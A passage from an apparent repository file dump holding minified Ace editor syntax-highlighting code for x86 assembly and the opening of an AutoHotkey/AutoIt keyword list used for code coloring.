vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(?:n?e|n?z)?|call|j(?:mp|n?e|ge?|ae?|le?|be?|n?o|n?z))\\\\b\",caseInsensitive:!0},{token:\"variable.parameter.register.assembly\",regex:\"\\\\b(?:CS|DS|ES|FS|GS|SS|RAX|EAX|RBX|EBX|RCX|ECX|RDX|EDX|RCX|RIP|EIP|IP|RSP|ESP|SP|RSI|ESI|SI|RDI|EDI|DI|RFLAGS|EFLAGS|FLAGS|R8-15|(?:Y|X)MM(?:[0-9]|10|11|12|13|14|15)|(?:A|B|C|D)(?:X|H|L)|CR(?:[0-4]|DR(?:[0-7]|TR6|TR7|EFER)))\\\\b\",caseInsensitive:!0},{token:\"constant.character.decimal.assembly\",regex:\"\\\\b[0-9]+\\\\b\"},{token:\"constant.character.hexadecimal.assembly\",regex:\"\\\\b0x[A-F0-9]+\\\\b\",caseInsensitive:!0},{token:\"constant.character.hexadecimal.assembly\",regex:\"\\\\b[A-F0-9]+h\\\\b\",caseInsensitive:!0},{token:\"string.assembly\",regex:/'([^\\\\']|\\\\.)*'/},{token:\"string.assembly\",regex:/\"([^\\\\\"]|\\\\.)*\"/},{token:\"support.function.directive.assembly\",regex:\"^\\\\[\",push:[{token:\"support.function.directive.assembly\",regex:\"\\\\]$\",next:\"pop\"},{defaultToken:\"support.function.directive.assembly\"}]},{token:[\"support.function.directive.assembly\",\"support.function.directive.assembly\",\"entity.name.function.assembly\"],regex:\"(^struc)( )([_a-zA-Z][_a-zA-Z0-9]*)\"},{token:\"support.function.directive.assembly\",regex:\"^endstruc\\\\b\"},{token:[\"support.function.directive.assembly\",\"entity.name.function.assembly\",\"support.function.directive.assembly\",\"constant.character.assembly\"],regex:\"^(%macro )([_a-zA-Z][_a-zA-Z0-9]*)( )([0-9]+)\"},{token:\"support.function.directive.assembly\",regex:\"^%endmacro\"},{token:[\"text\",\"support.function.directive.assembly\",\"text\",\"entity.name.function.assembly\"],regex:\"(\\\\s*)(%define|%xdefine|%idefine|%undef|%assign|%defstr|%strcat|%strlen|%substr|%00|%0|%rotate|%rep|%endrep|%include|\\\\$\\\\$|\\\\$|%unmacro|%if|%elif|%else|%endif|%(?:el)?ifdef|%(?:el)?ifmacro|%(?:el)?ifctx|%(?:el)?ifidn|%(?:el)?ifidni|%(?:el)?ifid|%(?:el)?ifnum|%(?:el)?ifstr|%(?:el)?iftoken|%(?:el)?ifempty|%(?:el)?ifenv|%pathsearch|%depend|%use|%push|%pop|%repl|%arg|%stacksize|%local|%error|%warning|%fatal|%line|%!|%comment|%endcomment|__NASM_VERSION_ID__|__NASM_VER__|__FILE__|__LINE__|__BITS__|__OUTPUT_FORMAT__|__DATE__|__TIME__|__DATE_NUM__|_TIME__NUM__|__UTC_DATE__|__UTC_TIME__|__UTC_DATE_NUM__|__UTC_TIME_NUM__|__POSIX_TIME__|__PASS__|ISTRUC|AT|IEND|BITS 16|BITS 32|BITS 64|USE16|USE32|__SECT__|ABSOLUTE|EXTERN|GLOBAL|COMMON|CPU|FLOAT)\\\\b( ?)((?:[_a-zA-Z][_a-zA-Z0-9]*)?)\",caseInsensitive:!0},{token:\"support.function.directive.assembly\",regex:\"\\\\b(?:d[bwdqtoy]|res[bwdqto]|equ|times|align|alignb|sectalign|section|ptr|byte|word|dword|qword|incbin)\\\\b\",caseInsensitive:!0},{token:\"entity.name.function.assembly\",regex:\"^\\\\s*%%[\\\\w.]+?:$\"},{token:\"entity.name.function.assembly\",regex:\"^\\\\s*%\\\\$[\\\\w.]+?:$\"},{token:\"entity.name.function.assembly\",regex:\"^[\\\\w.]+?:\"},{token:\"entity.name.function.assembly\",regex:\"^[\\\\w.]+?\\\\b\"},{token:\"comment.assembly\",regex:\";.*$\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"asm\"],name:\"Assembly x86\",scopeName:\"source.assembly\"},r.inherits(s,i),t.AssemblyX86HighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/assembly_x86\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/assembly_x86_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./assembly_x86_highlight_rules\").AssemblyX86HighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.$id=\"ace/mode/assembly_x86\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-autohotkey.js",
    "content": "define(\"ace/mode/autohotkey_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"And|ByRef|Case|Const|ContinueCase|ContinueLoop|Default|Dim|Do|Else|ElseIf|EndFunc|EndIf|EndSelect|EndSwitch|EndWith|Enum|Exit|ExitLoop|False|For|Func|Global|If|In|Local|Next|Not|Or|ReDim|Return|Select|Step|Switch|Then|To|True|Until|WEnd|While|With|Abs|ACos|AdlibDisable|AdlibEnable|Asc|AscW|ASin|Assign|ATan|AutoItSetOption|AutoItWinGetTitle|AutoItWinSetTitle|Beep|Binary|BinaryLen|BinaryMid|BinaryToString|BitAND|BitNOT|BitOR|BitRotate|BitShift|BitXOR|BlockInput|Break|Call|CDTray|Ceiling|Chr|ChrW|ClipGet|ClipPut|ConsoleRead|ConsoleWrite|ConsoleWriteError|ControlClick|ControlCommand|ControlDisable|ControlEnable|ControlFocus|ControlGetFocus|ControlGetHandle|ControlGetPos|ControlGetText|ControlHide|ControlListView|ControlMove|ControlSend|ControlSetText|ControlShow|ControlTreeView|Cos|Dec|DirCopy|DirCreate|DirGetSize|DirMove|DirRemove|DllCall|DllCallbackFree|DllCallbackGetPtr|DllCallbackRegister|DllClose|DllOpen|DllStructCreate|DllStructGetData|DllStructGetPtr|DllStructGetSize|DllStructSetData|DriveGetDrive|DriveGetFileSystem|DriveGetLabel|DriveGetSerial|DriveGetType|DriveMapAdd|DriveMapDel|DriveMapGet|DriveSetLabel|DriveSpaceFree|DriveSpaceTotal|DriveStatus|EnvGet|EnvSet|EnvUpdate|Eval|Execute|Exp|FileChangeDir|FileClose|FileCopy|FileCreateNTFSLink|FileCreateShortcut|FileDelete|FileExists|FileFindFirstFile|FileFindNextFile|FileGetAttrib|FileGetLongName|FileGetShortcut|FileGetShortName|FileGetSize|FileGetTime|FileGetVersion|FileInstall|FileMove|FileOpen|FileOpenDialog|FileRead|FileReadLine|FileRecycle|FileRecycleEmpty|FileSaveDialog|FileSelectFolder|FileSetAttrib|FileSetTime|FileWrite|FileWriteLine|Floor|FtpSetProxy|GUICreate|GUICtrlCreateAvi|GUICtrlCreateButton|GUICtrlCreateCheckbox|GUICtrlCreateCombo|GUICtrlCreateContextMenu|GUICtrlCreateDate|GUICtrlCreateDummy|GUICtrlCreateEdit|GUICtrlCreateGraphic|GUICtrlCreateGroup|GUICtrlCreateIcon|GUICtrlCreateInput|GUICtrlCreateLabel|GUICtrlCreateList|GUICtrlCreateListView|GUICtrlCreateListViewItem|GUICtrlCreateMenu|GUICtrlCreateMenuItem|GUICtrlCreateMonthCal|GUICtrlCreateObj|GUICtrlCreatePic|GUICtrlCreateProgress|GUICtrlCreateRadio|GUICtrlCreateSlider|GUICtrlCreateTab|GUICtrlCreateTabItem|GUICtrlCreateTreeView|GUICtrlCreateTreeViewItem|GUICtrlCreateUpdown|GUICtrlDelete|GUICtrlGetHandle|GUICtrlGetState|GUICtrlRead|GUICtrlRecvMsg|GUICtrlRegisterListViewSort|GUICtrlSendMsg|GUICtrlSendToDummy|GUICtrlSetBkColor|GUICtrlSetColor|GUICtrlSetCursor|GUICtrlSetData|GUICtrlSetFont|GUICtrlSetDefColor|GUICtrlSetDefBkColor|GUICtrlSetGraphic|GUICtrlSetImage|GUICtrlSetLimit|GUICtrlSetOnEvent|GUICtrlSetPos|GUICtrlSetResizing|GUICtrlSetState|GUICtrlSetStyle|GUICtrlSetTip|GUIDelete|GUIGetCursorInfo|GUIGetMsg|GUIGetStyle|GUIRegisterMsg|GUISetAccelerators()|GUISetBkColor|GUISetCoord|GUISetCursor|GUISetFont|GUISetHelp|GUISetIcon|GUISetOnEvent|GUISetState|GUISetStyle|GUIStartGroup|GUISwitch|Hex|HotKeySet|HttpSetProxy|HWnd|InetGet|InetGetSize|IniDelete|IniRead|IniReadSection|IniReadSectionNames|IniRenameSection|IniWrite|IniWriteSection|InputBox|Int|IsAdmin|IsArray|IsBinary|IsBool|IsDeclared|IsDllStruct|IsFloat|IsHWnd|IsInt|IsKeyword|IsNumber|IsObj|IsPtr|IsString|Log|MemGetStats|Mod|MouseClick|MouseClickDrag|MouseDown|MouseGetCursor|MouseGetPos|MouseMove|MouseUp|MouseWheel|MsgBox|Number|ObjCreate|ObjEvent|ObjGet|ObjName|Opt|Ping|PixelChecksum|PixelGetColor|PixelSearch|PluginClose|PluginOpen|ProcessClose|ProcessExists|ProcessGetStats|ProcessList|ProcessSetPriority|ProcessWait|ProcessWaitClose|ProgressOff|ProgressOn|ProgressSet|Ptr|Random|RegDelete|RegEnumKey|RegEnumVal|RegRead|RegWrite|Round|Run|RunAs|RunAsWait|RunWait|Send|SendKeepActive|SetError|SetExtended|ShellExecute|ShellExecuteWait|Shutdown|Sin|Sleep|SoundPlay|SoundSetWaveVolume|SplashImageOn|SplashOff|SplashTextOn|Sqrt|SRandom|StatusbarGetText|StderrRead|StdinWrite|StdioClose|StdoutRead|String|StringAddCR|StringCompare|StringFormat|StringInStr|StringIsAlNum|StringIsAlpha|StringIsASCII|StringIsDigit|StringIsFloat|StringIsInt|StringIsLower|StringIsSpace|StringIsUpper|StringIsXDigit|StringLeft|StringLen|StringLower|StringMid|StringRegExp|StringRegExpReplace|StringReplace|StringRight|StringSplit|StringStripCR|StringStripWS|StringToBinary|StringTrimLeft|StringTrimRight|StringUpper|Tan|TCPAccept|TCPCloseSocket|TCPConnect|TCPListen|TCPNameToIP|TCPRecv|TCPSend|TCPShutdown|TCPStartup|TimerDiff|TimerInit|ToolTip|TrayCreateItem|TrayCreateMenu|TrayGetMsg|TrayItemDelete|TrayItemGetHandle|TrayItemGetState|TrayItemGetText|TrayItemSetOnEvent|TrayItemSetState|TrayItemSetText|TraySetClick|TraySetIcon|TraySetOnEvent|TraySetPauseIcon|TraySetState|TraySetToolTip|TrayTip|UBound|UDPBind|UDPCloseSocket|UDPOpen|UDPRecv|UDPSend|UDPShutdown|UDPStartup|VarGetType|WinActivate|WinActive|WinClose|WinExists|WinFlash|WinGetCaretPos|WinGetClassList|WinGetClientSize|WinGetHandle|WinGetPos|WinGetProcess|WinGetState|WinGetText|WinGetTitle|WinKill|WinList|WinMenuSelectItem|WinMinimizeAll|WinMinimizeAllUndo|WinMove|WinSetOnTop|WinSetState|WinSetTitle|WinSetTrans|WinWait|WinWaitActive|WinWaitClose|WinWaitNotActive|ArrayAdd|ArrayBinarySearch|ArrayConcatenate|ArrayDelete|ArrayDisplay|ArrayFindAll|ArrayInsert|ArrayMax|ArrayMaxIndex|ArrayMin|ArrayMinIndex|ArrayPop|ArrayPush|ArrayReverse|ArraySearch|ArraySort|ArraySwap|ArrayToClip|ArrayToString|ArrayTrim|ChooseColor|ChooseFont|ClipBoard_ChangeChain|ClipBoard_Close|ClipBoard_CountFormats|ClipBoard_Empty|ClipBoard_EnumFormats|ClipBoard_FormatStr|ClipBoard_GetData|ClipBoard_GetDataEx|ClipBoard_GetFormatName|ClipBoard_GetOpenWindow|ClipBoard_GetOwner|ClipBoard_GetPriorityFormat|ClipBoard_GetSequenceNumber|ClipBoard_GetViewer|ClipBoard_IsFormatAvailable|ClipBoard_Open|ClipBoard_RegisterFormat|ClipBoard_SetData|ClipBoard_SetDataEx|ClipBoard_SetViewer|ClipPutFile|ColorConvertHSLtoRGB|ColorConvertRGBtoHSL|ColorGetBlue|ColorGetGreen|ColorGetRed|Date_Time_CompareFileTime|Date_Time_DOSDateTimeToArray|Date_Time_DOSDateTimeToFileTime|Date_Time_DOSDateTimeToStr|Date_Time_DOSDateToArray|Date_Time_DOSDateToStr|Date_Time_DOSTimeToArray|Date_Time_DOSTimeToStr|Date_Time_EncodeFileTime|Date_Time_EncodeSystemTime|Date_Time_FileTimeToArray|Date_Time_FileTimeToDOSDateTime|Date_Time_FileTimeToLocalFileTime|Date_Time_FileTimeToStr|Date_Time_FileTimeToSystemTime|Date_Time_GetFileTime|Date_Time_GetLocalTime|Date_Time_GetSystemTime|Date_Time_GetSystemTimeAdjustment|Date_Time_GetSystemTimeAsFileTime|Date_Time_GetSystemTimes|Date_Time_GetTickCount|Date_Time_GetTimeZoneInformation|Date_Time_LocalFileTimeToFileTime|Date_Time_SetFileTime|Date_Time_SetLocalTime|Date_Time_SetSystemTime|Date_Time_SetSystemTimeAdjustment|Date_Time_SetTimeZoneInformation|Date_Time_SystemTimeToArray|Date_Time_SystemTimeToDateStr|Date_Time_SystemTimeToDateTimeStr|Date_Time_SystemTimeToFileTime|Date_Time_SystemTimeToTimeStr|Date_Time_SystemTimeToTzSpecificLocalTime|Date_Time_TzSpecificLocalTimeToSystemTime|DateAdd|DateDayOfWeek|DateDaysInMonth|DateDiff|DateIsLeapYear|DateIsValid|DateTimeFormat|DateTimeSplit|DateToDayOfWeek|DateToDayOfWeekISO|DateToDayValue|DateToMonth|DayValueToDate|DebugBugReportEnv|DebugOut|DebugSetup|Degree|EventLog__Backup|EventLog__Clear|EventLog__Close|EventLog__Count|EventLog__DeregisterSource|EventLog__Full|EventLog__Notify|EventLog__Oldest|EventLog__Open|EventLog__OpenBackup|EventLog__Read|EventLog__RegisterSource|EventLog__Report|FileCountLines|FileCreate|FileListToArray|FilePrint|FileReadToArray|FileWriteFromArray|FileWriteLog|FileWriteToLine|GDIPlus_ArrowCapCreate|GDIPlus_ArrowCapDispose|GDIPlus_ArrowCapGetFillState|GDIPlus_ArrowCapGetHeight|GDIPlus_ArrowCapGetMiddleInset|GDIPlus_ArrowCapGetWidth|GDIPlus_ArrowCapSetFillState|GDIPlus_ArrowCapSetHeight|GDIPlus_ArrowCapSetMiddleInset|GDIPlus_ArrowCapSetWidth|GDIPlus_BitmapCloneArea|GDIPlus_BitmapCreateFromFile|GDIPlus_BitmapCreateFromGraphics|GDIPlus_BitmapCreateFromHBITMAP|GDIPlus_BitmapCreateHBITMAPFromBitmap|GDIPlus_BitmapDispose|GDIPlus_BitmapLockBits|GDIPlus_BitmapUnlockBits|GDIPlus_BrushClone|GDIPlus_BrushCreateSolid|GDIPlus_BrushDispose|GDIPlus_BrushGetType|GDIPlus_CustomLineCapDispose|GDIPlus_Decoders|GDIPlus_DecodersGetCount|GDIPlus_DecodersGetSize|GDIPlus_Encoders|GDIPlus_EncodersGetCLSID|GDIPlus_EncodersGetCount|GDIPlus_EncodersGetParamList|GDIPlus_EncodersGetParamListSize|GDIPlus_EncodersGetSize|GDIPlus_FontCreate|GDIPlus_FontDispose|GDIPlus_FontFamilyCreate|GDIPlus_FontFamilyDispose|GDIPlus_GraphicsClear|GDIPlus_GraphicsCreateFromHDC|GDIPlus_GraphicsCreateFromHWND|GDIPlus_GraphicsDispose|GDIPlus_GraphicsDrawArc|GDIPlus_GraphicsDrawBezier|GDIPlus_GraphicsDrawClosedCurve|GDIPlus_GraphicsDrawCurve|GDIPlus_GraphicsDrawEllipse|GDIPlus_GraphicsDrawImage|GDIPlus_GraphicsDrawImageRect|GDIPlus_GraphicsDrawImageRectRect|GDIPlus_GraphicsDrawLine|GDIPlus_GraphicsDrawPie|GDIPlus_GraphicsDrawPolygon|GDIPlus_GraphicsDrawRect|GDIPlus_GraphicsDrawString|GDIPlus_GraphicsDrawStringEx|GDIPlus_GraphicsFillClosedCurve|GDIPlus_GraphicsFillEllipse|GDIPlus_GraphicsFillPie|GDIPlus_GraphicsFillRect|GDIPlus_GraphicsGetDC|GDIPlus_GraphicsGetSmoothingMode|GDIPlus_GraphicsMeasureString|GDIPlus_GraphicsReleaseDC|GDIPlus_GraphicsSetSmoothingMode|GDIPlus_GraphicsSetTransform|GDIPlus_ImageDispose|GDIPlus_ImageGetGraphicsContext|GDIPlus_ImageGetHeight|GDIPlus_ImageGetWidth|GDIPlus_ImageLoadFromFile|GDIPlus_ImageSaveToFile|GDIPlus_ImageSaveToFileEx|GDIPlus_MatrixCreate|GDIPlus_MatrixDispose|GDIPlus_MatrixRotate|GDIPlus_ParamAdd|GDIPlus_ParamInit|GDIPlus_PenCreate|GDIPlus_PenDispose|GDIPlus_PenGetAlignment|GDIPlus_PenGetColor|GDIPlus_PenGetCustomEndCap|GDIPlus_PenGetDashCap|GDIPlus_PenGetDashStyle|GDIPlus_PenGetEndCap|GDIPlus_PenGetWidth|GDIPlus_PenSetAlignment|GDIPlus_PenSetColor|GDIPlus_PenSetCustomEndCap|GDIPlus_PenSetDashCap|GDIPlus_PenSetDashStyle|GDIPlus_PenSetEndCap|GDIPlus_PenSetWidth|GDIPlus_RectFCreate|GDIPlus_Shutdown|GDIPlus_Startup|GDIPlus_StringFormatCreate|GDIPlus_StringFormatDispose|GetIP|GUICtrlAVI_Close|GUICtrlAVI_Create|GUICtrlAVI_Destroy|GUICtrlAVI_Open|GUICtrlAVI_OpenEx|GUICtrlAVI_Play|GUICtrlAVI_Seek|GUICtrlAVI_Show|GUICtrlAVI_Stop|GUICtrlButton_Click|GUICtrlButton_Create|GUICtrlButton_Destroy|GUICtrlButton_Enable|GUICtrlButton_GetCheck|GUICtrlButton_GetFocus|GUICtrlButton_GetIdealSize|GUICtrlButton_GetImage|GUICtrlButton_GetImageList|GUICtrlButton_GetState|GUICtrlButton_GetText|GUICtrlButton_GetTextMargin|GUICtrlButton_SetCheck|GUICtrlButton_SetFocus|GUICtrlButton_SetImage|GUICtrlButton_SetImageList|GUICtrlButton_SetSize|GUICtrlButton_SetState|GUICtrlButton_SetStyle|GUICtrlButton_SetText|GUICtrlButton_SetTextMargin|GUICtrlButton_Show|GUICtrlComboBox_AddDir|GUICtrlComboBox_AddString|GUICtrlComboBox_AutoComplete|GUICtrlComboBox_BeginUpdate|GUICtrlComboBox_Create|GUICtrlComboBox_DeleteString|GUICtrlComboBox_Destroy|GUICtrlComboBox_EndUpdate|GUICtrlComboBox_FindString|GUICtrlComboBox_FindStringExact|GUICtrlComboBox_GetComboBoxInfo|GUICtrlComboBox_GetCount|GUICtrlComboBox_GetCurSel|GUICtrlComboBox_GetDroppedControlRect|GUICtrlComboBox_GetDroppedControlRectEx|GUICtrlComboBox_GetDroppedState|GUICtrlComboBox_GetDroppedWidth|GUICtrlComboBox_GetEditSel|GUICtrlComboBox_GetEditText|GUICtrlComboBox_GetExtendedUI|GUICtrlComboBox_GetHorizontalExtent|GUICtrlComboBox_GetItemHeight|GUICtrlComboBox_GetLBText|GUICtrlComboBox_GetLBTextLen|GUICtrlComboBox_GetList|GUICtrlComboBox_GetListArray|GUICtrlComboBox_GetLocale|GUICtrlComboBox_GetLocaleCountry|GUICtrlComboBox_GetLocaleLang|GUICtrlComboBox_GetLocalePrimLang|GUICtrlComboBox_GetLocaleSubLang|GUICtrlComboBox_GetMinVisible|GUICtrlComboBox_GetTopIndex|GUICtrlComboBox_InitStorage|GUICtrlComboBox_InsertString|GUICtrlComboBox_LimitText|GUICtrlComboBox_ReplaceEditSel|GUICtrlComboBox_ResetContent|GUICtrlComboBox_SelectString|GUICtrlComboBox_SetCurSel|GUICtrlComboBox_SetDroppedWidth|GUICtrlComboBox_SetEditSel|GUICtrlComboBox_SetEditText|GUICtrlComboBox_SetExtendedUI|GUICtrlComboBox_SetHorizontalExtent|GUICtrlComboBox_SetItemHeight|GUICtrlComboBox_SetMinVisible|GUICtrlComboBox_SetTopIndex|GUICtrlComboBox_ShowDropDown|GUICtrlComboBoxEx_AddDir|GUICtrlComboBoxEx_AddString|GUICtrlComboBoxEx_BeginUpdate|GUICtrlComboBoxEx_Create|GUICtrlComboBoxEx_CreateSolidBitMap|GUICtrlComboBoxEx_DeleteString|GUICtrlComboBoxEx_Destroy|GUICtrlComboBoxEx_EndUpdate|GUICtrlComboBoxEx_FindStringExact|GUICtrlComboBoxEx_GetComboBoxInfo|GUICtrlComboBoxEx_GetComboControl|GUICtrlComboBoxEx_GetCount|GUICtrlComboBoxEx_GetCurSel|GUICtrlComboBoxEx_GetDroppedControlRect|GUICtrlComboBoxEx_GetDroppedControlRectEx|GUICtrlComboBoxEx_GetDroppedState|GUICtrlComboBoxEx_GetDroppedWidth|GUICtrlComboBoxEx_GetEditControl|GUICtrlComboBoxEx_GetEditSel|GUICtrlComboBoxEx_GetEditText|GUICtrlComboBoxEx_GetExtendedStyle|GUICtrlComboBoxEx_GetExtendedUI|GUICtrlComboBoxEx_GetImageList|GUICtrlComboBoxEx_GetItem|GUICtrlComboBoxEx_GetItemEx|GUICtrlComboBoxEx_GetItemHeight|GUICtrlComboBoxEx_GetItemImage|GUICtrlComboBoxEx_GetItemIndent|GUICtrlComboBoxEx_GetItemOverlayImage|GUICtrlComboBoxEx_GetItemParam|GUICtrlComboBoxEx_GetItemSelectedImage|GUICtrlComboBoxEx_GetItemText|GUICtrlComboBoxEx_GetItemTextLen|GUICtrlComboBoxEx_GetList|GUICtrlComboBoxEx_GetListArray|GUICtrlComboBoxEx_GetLocale|GUICtrlComboBoxEx_GetLocaleCountry|GUICtrlComboBoxEx_GetLocaleLang|GUICtrlComboBoxEx_GetLocalePrimLang|GUICtrlComboBoxEx_GetLocaleSubLang|GUICtrlComboBoxEx_GetMinVisible|GUICtrlComboBoxEx_GetTopIndex|GUICtrlComboBoxEx_InitStorage|GUICtrlComboBoxEx_InsertString|GUICtrlComboBoxEx_LimitText|GUICtrlComboBoxEx_ReplaceEditSel|GUICtrlComboBoxEx_ResetContent|GUICtrlComboBoxEx_SetCurSel|GUICtrlComboBoxEx_SetDroppedWidth|GUICtrlComboBoxEx_SetEditSel|GUICtrlComboBoxEx_SetEditText|GUICtrlComboBoxEx_SetExtendedStyle|GUICtrlComboBoxEx_SetExtendedUI|GUICtrlComboBoxEx_SetImageList|GUICtrlComboBoxEx_SetItem|GUICtrlComboBoxEx_SetItemEx|GUICtrlComboBoxEx_SetItemHeight|GUICtrlComboBoxEx_SetItemImage|GUICtrlComboBoxEx_SetItemIndent|GUICtrlComboBoxEx_SetItemOverlayImage|GUICtrlComboBoxEx_SetItemParam|GUICtrlComboBoxEx_SetItemSelectedImage|GUICtrlComboBoxEx_SetMinVisible|GUICtrlComboBoxEx_SetTopIndex|GUICtrlComboBoxEx_ShowDropDown|GUICtrlDTP_Create|GUICtrlDTP_Destroy|GUICtrlDTP_GetMCColor|GUICtrlDTP_GetMCFont|GUICtrlDTP_GetMonthCal|GUICtrlDTP_GetRange|GUICtrlDTP_GetRangeEx|GUICtrlDTP_GetSystemTime|GUICtrlDTP_GetSystemTimeEx|GUICtrlDTP_SetFormat|GUICtrlDTP_SetMCColor|GUICtrlDTP_SetMCFont|GUICtrlDTP_SetRange|GUICtrlDTP_SetRangeEx|GUICtrlDTP_SetSystemTime|GUICtrlDTP_SetSystemTimeEx|GUICtrlEdit_AppendText|GUICtrlEdit_BeginUpdate|GUICtrlEdit_CanUndo|GUICtrlEdit_CharFromPos|GUICtrlEdit_Create|GUICtrlEdit_Destroy|GUICtrlEdit_EmptyUndoBuffer|GUICtrlEdit_EndUpdate|GUICtrlEdit_Find|GUICtrlEdit_FmtLines|GUICtrlEdit_GetFirstVisibleLine|GUICtrlEdit_GetLimitText|GUICtrlEdit_GetLine|GUICtrlEdit_GetLineCount|GUICtrlEdit_GetMargins|GUICtrlEdit_GetModify|GUICtrlEdit_GetPasswordChar|GUICtrlEdit_GetRECT|GUICtrlEdit_GetRECTEx|GUICtrlEdit_GetSel|GUICtrlEdit_GetText|GUICtrlEdit_GetTextLen|GUICtrlEdit_HideBalloonTip|GUICtrlEdit_InsertText|GUICtrlEdit_LineFromChar|GUICtrlEdit_LineIndex|GUICtrlEdit_LineLength|GUICtrlEdit_LineScroll|GUICtrlEdit_PosFromChar|GUICtrlEdit_ReplaceSel|GUICtrlEdit_Scroll|GUICtrlEdit_SetLimitText|GUICtrlEdit_SetMargins|GUICtrlEdit_SetModify|GUICtrlEdit_SetPasswordChar|GUICtrlEdit_SetReadOnly|GUICtrlEdit_SetRECT|GUICtrlEdit_SetRECTEx|GUICtrlEdit_SetRECTNP|GUICtrlEdit_SetRectNPEx|GUICtrlEdit_SetSel|GUICtrlEdit_SetTabStops|GUICtrlEdit_SetText|GUICtrlEdit_ShowBalloonTip|GUICtrlEdit_Undo|GUICtrlHeader_AddItem|GUICtrlHeader_ClearFilter|GUICtrlHeader_ClearFilterAll|GUICtrlHeader_Create|GUICtrlHeader_CreateDragImage|GUICtrlHeader_DeleteItem|GUICtrlHeader_Destroy|GUICtrlHeader_EditFilter|GUICtrlHeader_GetBitmapMargin|GUICtrlHeader_GetImageList|GUICtrlHeader_GetItem|GUICtrlHeader_GetItemAlign|GUICtrlHeader_GetItemBitmap|GUICtrlHeader_GetItemCount|GUICtrlHeader_GetItemDisplay|GUICtrlHeader_GetItemFlags|GUICtrlHeader_GetItemFormat|GUICtrlHeader_GetItemImage|GUICtrlHeader_GetItemOrder|GUICtrlHeader_GetItemParam|GUICtrlHeader_GetItemRect|GUICtrlHeader_GetItemRectEx|GUICtrlHeader_GetItemText|GUICtrlHeader_GetItemWidth|GUICtrlHeader_GetOrderArray|GUICtrlHeader_GetUnicodeFormat|GUICtrlHeader_HitTest|GUICtrlHeader_InsertItem|GUICtrlHeader_Layout|GUICtrlHeader_OrderToIndex|GUICtrlHeader_SetBitmapMargin|GUICtrlHeader_SetFilterChangeTimeout|GUICtrlHeader_SetHotDivider|GUICtrlHeader_SetImageList|GUICtrlHeader_SetItem|GUICtrlHeader_SetItemAlign|GUICtrlHeader_SetItemBitmap|GUICtrlHeader_SetItemDisplay|GUICtrlHeader_SetItemFlags|GUICtrlHeader_SetItemFormat|GUICtrlHeader_SetItemImage|GUICtrlHeader_SetItemOrder|GUICtrlHeader_SetItemParam|GUICtrlHeader_SetItemText|GUICtrlHeader_SetItemWidth|GUICtrlHeader_SetOrderArray|GUICtrlHeader_SetUnicodeFormat|GUICtrlIpAddress_ClearAddress|GUICtrlIpAddress_Create|GUICtrlIpAddress_Destroy|GUICtrlIpAddress_Get|GUICtrlIpAddress_GetArray|GUICtrlIpAddress_GetEx|GUICtrlIpAddress_IsBlank|GUICtrlIpAddress_Set|GUICtrlIpAddress_SetArray|GUICtrlIpAddress_SetEx|GUICtrlIpAddress_SetFocus|GUICtrlIpAddress_SetFont|GUICtrlIpAddress_SetRange|GUICtrlIpAddress_ShowHide|GUICtrlListBox_AddFile|GUICtrlListBox_AddString|GUICtrlListBox_BeginUpdate|GUICtrlListBox_Create|GUICtrlListBox_DeleteString|GUICtrlListBox_Destroy|GUICtrlListBox_Dir|GUICtrlListBox_EndUpdate|GUICtrlListBox_FindInText|GUICtrlListBox_FindString|GUICtrlListBox_GetAnchorIndex|GUICtrlListBox_GetCaretIndex|GUICtrlListBox_GetCount|GUICtrlListBox_GetCurSel|GUICtrlListBox_GetHorizontalExtent|GUICtrlListBox_GetItemData|GUICtrlListBox_GetItemHeight|GUICtrlListBox_GetItemRect|GUICtrlListBox_GetItemRectEx|GUICtrlListBox_GetListBoxInfo|GUICtrlListBox_GetLocale|GUICtrlListBox_GetLocaleCountry|GUICtrlListBox_GetLocaleLang|GUICtrlListBox_GetLocalePrimLang|GUICtrlListBox_GetLocaleSubLang|GUICtrlListBox_GetSel|GUICtrlListBox_GetSelCount|GUICtrlListBox_GetSelItems|GUICtrlListBox_GetSelItemsText|GUICtrlListBox_GetText|GUICtrlListBox_GetTextLen|GUICtrlListBox_GetTopIndex|GUICtrlListBox_InitSto